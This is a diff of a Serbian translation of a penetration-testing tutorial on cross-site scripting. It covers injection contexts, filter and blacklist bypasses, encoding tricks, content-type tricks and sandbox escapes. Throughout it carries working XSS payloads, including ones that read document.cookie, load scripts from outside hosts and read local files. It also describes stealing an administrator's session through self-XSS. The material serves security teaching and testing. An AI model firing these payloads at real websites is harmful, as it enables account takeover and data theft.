Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo zanimljivog DOM-a, **druge stranice u istom poreklu** će imati **zanimljiviji DOM** za izvođenje više akcija.
|
||||
|
||||
Stoga je, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena **Same Origin Method Execution (SOME)** eksploatacija:
|
||||
Stoga, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena je **Same Origin Method Execution (SOME)** eksploatacija:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
Kada se vaš unos odražava **unutar HTML stranice** ili možete pobjeći i umetnuti HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
|
||||
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Napomena: HTML komentar može biti zatvoren koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_
|
||||
_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao:
|
||||
```html
|
||||
@ -161,16 +161,16 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ali, ako se koristi crna/bela lista tagova/atributa, biće potrebno da **brute-force-ujete koje tagove** možete kreirati.\
|
||||
Kada pronađete **koji tagovi su dozvoljeni**, biće potrebno da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
|
||||
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **brute-force-ujete koji tagovi** možete da kreirate.\
|
||||
Kada pronađete **koji tagovi su dozvoljeni**, moraćete da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst.
|
||||
|
||||
### Brute-force tagova/događaja
|
||||
|
||||
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
|
||||
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
|
||||
|
||||
### Prilagođeni tagovi
|
||||
|
||||
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste učinili da stranica **fokusira na taj objekat** i **izvrši** kod:
|
||||
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
@ -228,7 +228,7 @@ onerror=alert`1`
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
|
||||
> [!NOTE] > **Više malih XSS za različita okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Više malih XSS za različite okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
@ -250,7 +250,7 @@ Ako mislite da je **nemoguće kreirati HTML tag sa atributom za izvršavanje JS
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
Ako ste **unutar HTML taga**, prva stvar koju možete pokušati je da **izbegnete** tag i koristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) za izvršavanje JS koda.\
|
||||
Ako **ne možete da izbegnete tag**, možete kreirati nove atribute unutar taga da biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno reflektuje unutar taga_):
|
||||
Ako **ne možete da izbegnete tag**, možete kreirati nove atribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći neki payload kao što je (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno odražava unutar taga_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,14 +267,14 @@ Ako **ne možete da izbegnete tag**, možete kreirati nove atribute unutar taga
|
||||
```
|
||||
### Unutar atributa
|
||||
|
||||
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
|
||||
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da ga zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
|
||||
Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
|
||||
|
||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML tagova se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||
|
||||
Napomena: **bilo koja vrsta HTML kodiranja je validna**:
|
||||
Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -351,17 +351,17 @@ _**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog od
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostavni navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostavni navodnik** tokom **vremena izvršenja.**
|
||||
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostavni navodnik** i vidite da je **URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostavni navodnik** tokom **vremena izvršenja.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
||||
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload** to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
||||
|
||||
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
|
||||
|
||||
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisete **HTML tagove za izvršavanje JS**:
|
||||
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisate **HTML tagove za izvršavanje JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -373,20 +373,20 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
|
||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Obrnuto nabbing kartica
|
||||
### Obrnuto navođenje taba
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Ako možete da ubacite bilo koju URL adresu u proizvoljnom **`<a href=`** tagu koji sadrži **`target="_blank" i rel="opener"`** atribute, proverite **sledeću stranicu da iskoristite ovo ponašanje**:
|
||||
Ako možete da ubrizgate bilo koju URL adresu u proizvoljnom **`<a href=`** tagu koji sadrži **`target="_blank" i rel="opener"`** atribute, proverite **sledeću stranicu da iskoristite ovo ponašanje**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### za zaobilaženje "on" upravljača događajima
|
||||
### o zaobilaženju Event Handlers
|
||||
|
||||
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" upravljače događajima**.\
|
||||
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove upravljače događajima, možete pokušati sledeće zaobilaženja:
|
||||
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
|
||||
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove event handlers, možete pokušati sledeće zaobilaženje:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
|
||||
### XSS u "Neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
|
||||
|
||||
Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
|
||||
Sa [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -430,7 +430,7 @@ Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož
|
||||
|
||||
### Obilaženje crne liste
|
||||
|
||||
Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se da naučite gde možete koristiti:
|
||||
Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo u ovom odeljku. Vratite se da naučite gde možete koristiti:
|
||||
|
||||
- **HTML kodiranje (HTML tagovi)**
|
||||
- **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)`
|
||||
@ -438,13 +438,13 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom
|
||||
- **Hex i Oktalno kodiranje**
|
||||
- **data kodiranje**
|
||||
|
||||
**Obilaženje za HTML tagove i atribute**
|
||||
**Obilaženja za HTML tagove i atribute**
|
||||
|
||||
Pročitajte [Obilaženje crne liste iz prethodnog odeljka](#blacklist-bypasses).
|
||||
Pročitajte [Obilaženja crne liste prethodnog odeljka](#blacklist-bypasses).
|
||||
|
||||
**Obilaženje za JavaScript kod**
|
||||
**Obilaženja za JavaScript kod**
|
||||
|
||||
Pročitajte [JavaScript obilaženje crne liste iz sledećeg odeljka](#javascript-bypass-blacklists-techniques).
|
||||
Pročitajte [JavaScript obilaženje crne liste sledećeg odeljka](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -452,7 +452,7 @@ Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu intera
|
||||
|
||||
Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Ali, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
|
||||
Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -468,7 +468,7 @@ Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a
|
||||
|
||||
## Umetanje unutar JavaScript koda
|
||||
|
||||
U ovom slučaju, vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
|
||||
U ovom slučaju vaš **input** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
|
||||
|
||||
### Izbegavanje \<script> taga
|
||||
|
||||
@ -488,8 +488,8 @@ Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
||||
Da biste konstruisali **nizove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS niza koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
||||
|
||||
Ovo se može **zloupotrebiti** koristeći:
|
||||
```javascript
|
||||
@ -503,7 +503,7 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Izvršenje kodova u kodiranom obliku
|
||||
### Izvršavanje kodova u kodiranom obliku
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
@ -516,9 +516,9 @@ alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### Tehnike za zaobilaženje crnih lista u JavaScript-u
|
||||
### JavaScript bypass blacklists techniques
|
||||
|
||||
**Stringovi**
|
||||
**Strings**
|
||||
```javascript
|
||||
"thisisastring"
|
||||
'thisisastrig'
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript novi redovi (iz** [**JavaScript novog reda**](#javascript-new-lines) **trika)**
|
||||
**JavaScript novi redovi (iz** [**JavaScript novi red**](#javascript-new-lines) **trik)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -749,11 +749,11 @@ dom-xss.md
|
||||
Tamo ćete pronaći detaljno **objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti**.\
|
||||
Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnjenje o [**DOM Clobbering napadima**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Unapređenje Self-XSS
|
||||
### Uključivanje Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||
Ako možete da izazovete XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -763,15 +763,15 @@ Možete pronaći sjajan primer zloupotrebe ove tehnike u [**ovom blog postu**](h
|
||||
|
||||
### Slanje vaše sesije administratoru
|
||||
|
||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
|
||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost.
|
||||
|
||||
### Održivost sesije
|
||||
### Održivanje sesije
|
||||
|
||||
Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||
Ako pronađete neki self XSS i web stranica ima **održavanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, on će videti ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||
|
||||
Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
||||
Možete naterati **administratora da aktivira vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
||||
|
||||
## Ostali Bypasses
|
||||
## Drugi Bypasses
|
||||
|
||||
### Normalizovani Unicode
|
||||
|
||||
@ -783,7 +783,7 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane**
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Zbog **RoR masovnog dodeljivanja** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
|
||||
Zbog **RoR masovne dodeljivanje** navodnici se ubacuju u HTML i tako se zaobilazi ograničenje navodnika, a dodatna polja (onfocus) mogu biti dodata unutar taga.\
|
||||
Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -828,7 +828,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||
|
||||
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
||||
U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovoj**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
||||
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
||||
|
||||
### Samo slova, brojevi i tačke
|
||||
@ -837,9 +837,9 @@ Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti
|
||||
|
||||
### Validni `<script>` Content-Types za XSS
|
||||
|
||||
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će baciti sledeću grešku:
|
||||
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
> Odbijeno izvršavanje skripte sa ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') jer njen MIME tip (‘application/octet-stream’) nije izvršiv, a strogo proveravanje MIME tipa je omogućeno.
|
||||
|
||||
Jedini **Content-Type** koji će omogućiti Chrome-u da izvrši **učitanu skriptu** su oni unutar konstante **`kSupportedJavascriptTypes`** sa [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
@ -865,12 +865,12 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
### Tipovi skripti za XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti naznačeni za učitavanje skripte?
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti označeni za učitavanje skripte?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **modul** (podrazumevano, nema potrebe za objašnjenjem)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -928,11 +928,11 @@ Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca
|
||||
- application/rss+xml (isključeno)
|
||||
- application/atom+xml (isključeno)
|
||||
|
||||
U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
U drugim pregledačima mogu se koristiti drugi **`Content-Types`** za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljan JS:
|
||||
Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljni JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -954,7 +954,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails bekstvo
|
||||
|
||||
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
|
||||
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -987,7 +987,7 @@ constructor(source)()
|
||||
```
|
||||
Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebila izvršavanje proizvoljnog nepouzdanog koda:
|
||||
|
||||
- Korišćenjem import()
|
||||
- Koristeći import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
@ -1009,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce greškama** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
|
||||
Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce grešaka** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1051,7 +1051,6 @@ trigger()
|
||||
|
||||
- **Različite obfuskacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
@ -1359,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski intervali ukazuju na to da nema odgovora._
|
||||
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._
|
||||
|
||||
Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
@ -1430,7 +1429,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Slepe XSS payloads
|
||||
### Slepi XSS payloadi
|
||||
|
||||
Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1499,7 +1498,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Pristup Skrivenom Sadržaju
|
||||
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) moguće je saznati da čak i ako neki vrednosti nestanu iz JS, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa regex-a uklonjena:
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1516,13 +1515,13 @@ console.log(
|
||||
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
)
|
||||
```
|
||||
### Brute-Force List
|
||||
### Brute-Force Lista
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Zloupotreba drugih ranjivosti
|
||||
## XSS Iskorišćavanje drugih ranjivosti
|
||||
|
